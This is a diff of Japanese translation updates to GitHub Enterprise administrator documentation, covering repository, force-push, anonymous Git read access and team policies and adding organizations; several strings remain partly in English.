@@ -127,38 +123,35 @@ Across all organizations owned by your enterprise, you can allow members to invi
 3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy.
   {% ifversion ghec %}
-  ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
+  ![外部コラボレーター招待ポリシーオプションのドロップダウンメニュー](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
   {% elsif ghes or ghae %}
-  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)  
+  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)
   {% endif %}
-  
+
 {% ifversion ghec or ghes or ghae %}
 
 ## Enforcing a policy for the default branch name
 
-Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one.
+Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. すべての Organization 全体でそのデフォルトブランチ名を施行することも、Organization ごとに異なる名前を設定することもできます。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use.
-    ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png)
-4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**.
-    ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png)
+3. [**Repository policies**] タブの [Default branch name] で、新しいリポジトリに使用するデフォルトブランチ名を入力します。 ![デフォルトブランチ名を入力するテキストフィールド](/assets/images/help/business-accounts/default-branch-name-text.png)
+4. オプションで、Enterprise のすべての Organization に対してデフォルトブランチ名を施行する場合は [**Enforce across this enterprise**] を選択します。 ![[Enforcement] チェックボックス](/assets/images/help/business-accounts/default-branch-name-enforce.png)
+5. [**Update**] をクリックします。 ![[Update] ボタン](/assets/images/help/business-accounts/default-branch-name-update.png)
 
 {% endif %}
 
 ## Enforcing a policy for changes to repository visibility
 
-Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository.
+Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. メンバーがリポジトリの可視性を変更できないようにした場合、Enterprise のオーナーのみがリポジトリの可視性を変更できます。
 
-If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Enterprise のオーナーがリポジトリの作成を Organization のオーナーのみに制限している場合、メンバーはリポジトリの可視性を変更できません。 Enterprise のオーナーがメンバーリポジトリの作成をプライベートリポジトリのみに制限している場合、メンバーはリポジトリの可視性をプライベートにのみ変更できます。 詳しい情報については、「[リポジトリ作成のためのポリシーを設定する](#setting-a-policy-for-repository-creation)」を参照してください。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Repository visibility change] で、設定変更についての情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-visibility-policy %}
 
@@ -169,7 +162,7 @@ Across all organizations owned by your enterprise, you can allow members with ad
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 「Repository deletion and transfer」で、設定変更に関する情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-deletion-policy %}
 
@@ -179,29 +172,26 @@ Across all organizations owned by your enterprise, you can allow members with ad
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository issue deletion", use the drop-down menu and choose a policy.
-  ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
+3. [**Repository policies**] タブの [Repository issue deletion] で、設定変更についての情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. [Repository issue deletion] で、ドロップダウンメニューを使用してポリシーを選択します。 ![Issue 削除ポリシーオプションのドロップダウンメニュー](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
 
 {% ifversion ghes or ghae %}
 
 ## Enforcing a policy for Git push limits
 
-To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise.
+リポジトリのサイズを管理しやすくして、パフォーマンスの問題を防ぐために、Enterprise 内のリポジトリのファイルサイズ制限を設定できます。
 
-By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB.
+デフォルトでは、リポジトリのアップロード制限を適用すると、100MB以上のファイルの追加やアップロードができなくなります。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Repository upload limit", use the drop-down menu and click a maximum object size.
-![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
-5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories**
-![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
+4. [Repository upload limit] で、ドロップダウンメニューを使用して最大オブジェクトサイズをクリックします。 ![最大オブジェクトサイズのオプションを備えたドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
+5. 必要に応じて、すべてのリポジトリにアップロードの最大制限を適用するには [**Enforce on all repositories**] を選択します。 ![すべてのリポジトリにオブジェクトの最大サイズを適用するオプション](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
 
-## Configuring the merge conflict editor for pull requests between repositories
+## リポジトリ間のプルリクエストのためのマージコンフリクトエディタを設定する
 
-Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork.
+ユーザが自分のコンピュータ上でローカルにマージコンフリクトを解決するように要求すれば、うっかりフォークから上流のリポジトリに書き込んでしまうことを回避できます。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -210,10 +200,9 @@ Requiring users to resolve merge conflicts locally on their computer can prevent
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**.
- ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png)
+1. "Conflict editor for pull requests between repositories（リポジトリ間のプルリクエストのコンフリクトエディタ）"の下でドロップダウンメニューを使い、**Disabled（無効化）**を選択してください。 ![マージコンフリクトエディタを無効化するオプションを持つドロップダウンメニュー](/assets/images/enterprise/settings/conflict-editor-settings.png)
 
-## Configuring force pushes
+## フォースプッシュを設定する
 
 Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization.
 
@@ -222,11 +211,10 @@ Each repository inherits a default force push setting from the settings of the u
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**.
-![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
-5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes.
+4. [Force pushes] の下のドロップダウンメニューから、[**Allow**]、[**Block**]、[**Block to the default branch**] のいずれかをクリックしてください。 ![フォースプッシュのドロップダウン](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
+5. [**Enforce on all repositories（すべてのリポジトリに強制）**] を選択して、フォースプッシュに関する Organization およびリポジトリレベルの設定をオーバーライドすることもできます。
 
-### Blocking force pushes to a specific repository
+### 特定のリポジトリへのフォースプッシュをブロックする
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -236,14 +224,13 @@ Each repository inherits a default force push setting from the settings of the u
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-4. Select **Block** or **Block to the default branch** under **Push and Pull**.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
+4. [**Push and Pull**] の下で [**Block**] または [**Block to the default branch**] を選択してください。 ![フォースプッシュのブロック](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
 
-### Blocking force pushes to repositories owned by a user account or organization
+### ユーザアカウントもしくはOrganizationが所有するリポジトリへのフォースプッシュのブロック
 
-Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise.
+リポジトリは、所属するユーザアカウントもしくはOrganizationからフォースプッシュの設定を引き継ぎます。 そして、それぞれの Organization およびユーザアカウントは、フォースプッシュの設定を Enterprise のフォースプッシュの設定から引き継ぎます。
 
-You can override the default inherited settings by configuring the settings for a user account or organization.
+引き継がれたデフォルトの設定は、ユーザアカウントもしくはOrganizationの設定をすることで上書きできます。
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -251,32 +238,30 @@ You can override the default inherited settings by configuring the settings for
 {% data reusables.enterprise_site_admin_settings.click-user-or-org %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "Repository default settings" in the "Force pushes" section, select
-    - **Block** to block force pushes to all branches.
-    - **Block to the default branch** to only block force pushes to the default branch.
-  ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
-6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
+5. [Repository default settings（リポジトリのデフォルト設定）] の下の [Force pushes（フォースプッシュ）] セクションで、以下から選択してください。
+    - [**Block（ブロック）**] ですべてのブランチへのフォースプッシュがブロックされます。
+    - [**Block to the default branch（デフォルトブランチへのブロック）**] でデフォルトブランチへのフォースプッシュのみがブロックされます。 ![フォースプッシュのブロック](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
+6. **Enforce on all repositories（すべてのリポジトリに対して強制）**を選択して、リポジトリ固有の設定を上書きすることもできます。 これは、Enterprise 全体のポリシーを**上書きしません**のでご注意ください。 ![フォースプッシュのブロック](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
 
 {% endif %}
 
 {% ifversion ghes %}
 
-## Configuring anonymous Git read access
+## 匿名 Git 読み取りアクセスを設定する
 
 {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %}
 
-{% ifversion ghes %}If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) on your enterprise, you {% else %}You {% endif %}can allow repository administrators to enable anonymous Git read access to public repositories.
+{% ifversion ghes %} Enterprise で[プライベートモードを有効化](/enterprise/admin/configuration/enabling-private-mode)している場合は、{% else %}{% endif %}リポジトリ管理者がパブリックリポジトリへの匿名 Git 読み取りアクセスを有効化できるようにすることができます。
 
-Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication.
+匿名 Git 読み取りアクセスを有効化すると、ユーザは Enterprise 上のカスタムツールの認証をバイパスできるようになります。 あなたもしくはリポジトリ管理者がこのアクセス設定をリポジトリで有効化すると、認証を受けていない Git の操作 (そして {% data variables.product.product_name %} へのネットワークアクセスができる人はだれでも) は、認証なしでリポジトリに読み取りアクセスできることになります。
 
-If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting.
+必要に応じて、リポジトリのアクセス設定をロックすることで、リポジトリ管理者が Enterprise のリポジトリの匿名 Git アクセス設定を変更不可にすることができます。 リポジトリのGit読み取りアクセス設定をロックすると、サイト管理者だけがこの設定を変更できるようになります。
 
 {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %}
 
 {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
 
-### Setting anonymous Git read access for all repositories
+### すべてのリポジトリに対する匿名 Git 読み取りアクセスを設定する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -285,23 +270,18 @@ If necessary, you can prevent repository administrators from changing anonymous
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**.
-![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
-3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
+4. [Anonymous Git read access（匿名 Git 読み取りアクセス）] の下で、ドロップダウンメニューを使って [**Enabled（有効化）**] をクリックしてください。 ![[Enabled] と [Disabled] のメニューオプションが表示されている [Anonymous Git read access] ドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
+3. Enterprise のすべてのリポジトリでリポジトリ管理者が匿名 Git 読み取りアクセス設定を変更するのを避けるために、[**Prevent repository admins from changing anonymous Git read access**] を選択することもできます。 ![Enterprise のすべてのリポジトリへの匿名 Git 読み取りアクセス設定をリポジトリ管理者が変更するのを避けるための選択チェックボックス](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
 
-### Setting anonymous Git read access for a specific repository
+### 特定のリポジトリでの匿名 Git 読み取りアクセスを設定する
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.repository-search %}
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**.
-!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
-7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.**
-![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
-8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
+6. "Danger Zone（危険区域）"の下で、"Enable Anonymous Git read access（匿名Git読み取りアクセスの有効化）"の隣の**Enable（有効化）**をクリックしてください。 ![リポジトリのサイト管理設定の危険地域内の "匿名 Git 読み取りアクセスの有効化" の下の "有効化" ボタン ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
+7. 変更を確認します。 確定するには、[**Yes, enable anonymous Git read access**] をクリックします。 ![ポップアップウィンドウの [Confirm anonymous Git read access] 設定](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
+8. このリポジトリの設定をリポジトリ管理者が変更するのを避けるために、[**Prevent repository admins from changing anonymous Git read access（リポジトリ管理者による匿名Git読み取りアクセスの変更の回避）**] を選択することもできます。 ![このリポジトリへの匿名Git読み取りアクセス設定をリポジトリ管理者が変更するのを避けるための選択チェックボックス](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
 
 {% endif %}
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
index 14860a36f6..f7604fce06 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing team policies in your enterprise
 intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for teams in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-team-settings-for-organizations-in-your-business-account
   - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
@@ -24,16 +23,14 @@ shortTitle: Team policies
 
 ## About policies for teams in your enterprise
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage teams. You can also allow organization owners to manage policies for teams. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage teams. You can also allow organization owners to manage policies for teams. 詳細は「[Team について](/organizations/organizing-members-into-teams/about-teams)」を参照してください。
 
-## Enforcing a policy for team discussions
+## Team ディスカッションでポリシーを施行する
 
-Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)."
+Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. 詳しい情報については[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions/)を参照してください。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Teams**.
-  ![Teams tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-teams-tab.png)
-4. Under "Team discussions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Team discussions", use the drop-down menu and choose a policy.
-  ![Drop-down menu with team discussion policy options](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
+3. 左サイトバーで [**Teams**] をクリックします。 ![Teams tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-teams-tab.png)
+4. [Team discussions] で、設定変更に関する情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Team discussions] で、ドロップダウンメニューを使用してポリシーを選択します。 ![Team ディスカッション ポリシー オプションのドロップダウンメニュー](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
diff --git a/translations/ja-JP/content/admin/user-management/index.md b/translations/ja-JP/content/admin/user-management/index.md
index 5e5f8682b2..bff54a1b2a 100644
--- a/translations/ja-JP/content/admin/user-management/index.md
+++ b/translations/ja-JP/content/admin/user-management/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Managing users, organizations, and repositories'
-shortTitle: 'Managing users, organizations, and repositories'
-intro: 'This guide describes authentication methods for users signing in to your enterprise, how to create organizations and teams for repository access and collaboration, and suggested best practices for user security.'
+title: ユーザ、Organization、リポジトリデータを管理する
+shortTitle: ユーザ、Organization、リポジトリデータを管理する
+intro: このガイドでは、Enterprise にサインインするユーザの認証方式、リポジトリへのアクセスとコラボレーションのための Organization と Team を作成する方法、およびユーザセキュリティで推奨されるベストプラクティスについて説明します。
 redirect_from:
   - /enterprise/admin/categories/user-management
   - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
index 8e5c3ea588..d52f1213c4 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Adding organizations to your enterprise
 intro: You can create new organizations or invite existing organizations to manage within your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
   - /articles/adding-organizations-to-your-enterprise-account
@@ -17,43 +16,35 @@ topics:
 shortTitle: Add organizations
 ---
 
-## About organizations
+## Organizationについて
 
-Your enterprise account can own organizations. Members of your enterprise can collaborate across related projects within an organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+Your enterprise account can own organizations. Members of your enterprise can collaborate across related projects within an organization. 詳細は「[Organization について](/organizations/collaborating-with-groups-in-organizations/about-organizations)」を参照してください。
 
 Enterprise owners can create new organizations within an enterprise account's settings or invite existing organizations to join an enterprise. To add an organization to your enterprise, you must create the organization from within the enterprise account settings.
 
 You can only add organizations this way to an existing enterprise account. {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
-## Creating an organization in your enterprise account
+## Enterprise アカウント内で Organization を作成する
 
-New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription.
+Enterprise アカウント設定内で作成した新しい Organization は、Enterprise アカウントの {% data variables.product.prodname_ghe_cloud %} プランに含められます。
 
-Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. For more information about organization owners, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Enterprise アカウントにより所有される Organization を作成した Enterprise のオーナーは、自動的に Organization のオーナーになります。 For more information about organization owners, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **New organization**.
-  ![New organization button](/assets/images/help/business-accounts/enterprise-account-add-org.png)
-3. Under "Organization name", type a name for your organization.
-  ![Field to type a new organization name](/assets/images/help/business-accounts/new-organization-name-field.png)
-4. Click **Create organization**.
-5. Under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**.
-  ![Organization owner search field and Invite button](/assets/images/help/business-accounts/invite-org-owner.png)
-6. Click **Finish**.
+2. [**Organization**] タブで、Organization のリストの上で [**New organization**] をクリックします。 ![新規 Organization ボタン](/assets/images/help/business-accounts/enterprise-account-add-org.png)
+3. [Organization name] の下に Organization の名前を入力します。 ![新しい Organization 名を入力するフィールド](/assets/images/help/business-accounts/new-organization-name-field.png)
+4. **Create organization（Organizationの作成）**をクリックしてください。
+5. [Invite owners] の下で、Organization のオーナーになるよう招待したい人のユーザ名を入力し、[**Invite**] をクリックします。 ![Organization オーナーの検索フィールドと招待ボタン](/assets/images/help/business-accounts/invite-org-owner.png)
+6. [**Finish**] をクリックします。
 
 ## Inviting an organization to join your enterprise account
 
 Enterprise owners can invite existing organizations to join their enterprise account. If the organization you want to invite is already owned by another enterprise, you will not be able to issue an invitation until the previous enterprise gives up ownership of the organization. For more information, see "[Removing an organization from your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **Invite organization**.
-![Invite organization](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
-3. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the drop-down list.
-![Search for organization](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
+2. On the **Organizations** tab, above the list of organizations, click **Invite organization**. ![Invite organization](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
+3. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the drop-down list. ![Search for organization](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
 4. Click **Invite organization**.
-5. The organization owners will receive an email inviting them to join the organization. At least one owner needs to accept the invitation before the process can continue. You can cancel or resend the invitation at any time before an owner approves it.
-![Cancel or resend](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
-6. Once an organization owner has approved the invitation, you can view its status in the list of pending invitations.
-![Pending invitation](/assets/images/help/business-accounts/enterprise-account-pending.png)
-7. Click **Approve** to complete the transfer, or **Cancel** to cancel it.
-![Approve invitation](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
+5. The organization owners will receive an email inviting them to join the organization. At least one owner needs to accept the invitation before the process can continue. You can cancel or resend the invitation at any time before an owner approves it. ![Cancel or resend](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
+6. Once an organization owner has approved the invitation, you can view its status in the list of pending invitations. ![Pending invitation](/assets/images/help/business-accounts/enterprise-account-pending.png)
+7. Click **Approve** to complete the transfer, or **Cancel** to cancel it. ![Approve invitation](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
index f02cedf911..4eca1ad2c1 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
@@ -1,12 +1,12 @@
 ---
-title: Adding people to teams
+title: Teamへの人の追加
 redirect_from:
   - /enterprise/admin/articles/adding-teams
   - /enterprise/admin/articles/adding-or-inviting-people-to-teams
   - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams
   - /enterprise/admin/user-management/adding-people-to-teams
   - /admin/user-management/adding-people-to-teams
-intro: 'Once a team has been created, organization admins can add users from {% data variables.product.product_location %} to the team and determine which repositories they have access to.'
+intro: 'Team が作成されると、Organization の管理者はユーザを {% data variables.product.product_location %} から Team に追加し、どのリポジトリにアクセスできるようにするかを決定できます。'
 versions:
   ghes: '*'
 type: how_to
@@ -16,12 +16,13 @@ topics:
   - Teams
   - User account
 ---
-Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization).
 
-- Members with the owner role can add or remove existing organization members from all teams.
-- Members of teams that give admin permissions can only modify team membership and repositories for that team.
+各Teamには、それぞれに定義された[Organizatinが所有するリポジトリへのアクセス権限](/articles/permission-levels-for-an-organization)があります。
 
-## Setting up a team
+- オーナー権限を持つメンバーは、すべてのTeamから既存のOrganizationのメンバーを追加したり削除したりできます。
+- 管理者権限を与えるTeamのメンバーは、TeamのメンバーシップとそのTeamのリポジトリだけを変更できます。
+
+## チームのセットアップ
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -29,8 +30,8 @@ Each team has its own individually defined [access permissions for repositories
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
-## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication)
+## TeamのLDAPグループへのマッピング（たとえばLDAP Syncをユーザ認証に使って）
 
 {% data reusables.enterprise_management_console.badge_indicator %}
 
-To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator.
+LDAPグループに同期されているTeamに新しいメンバーを追加するには、そのユーザをLDAPグループのメンバーとして追加するか、LDAPの管理者に連絡してください。
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
index 9df1581688..8d08846c6f 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing organizations in your enterprise
+title: Enterprise の Organization を管理する
 redirect_from:
   - /enterprise/admin/articles/adding-users-and-teams
   - /enterprise/admin/categories/admin-bootcamp
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account
